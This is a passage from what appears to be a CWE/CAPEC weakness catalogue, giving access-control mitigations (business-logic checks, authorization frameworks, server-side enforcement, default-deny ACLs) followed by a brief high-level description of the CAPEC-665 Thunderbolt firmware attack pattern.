Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.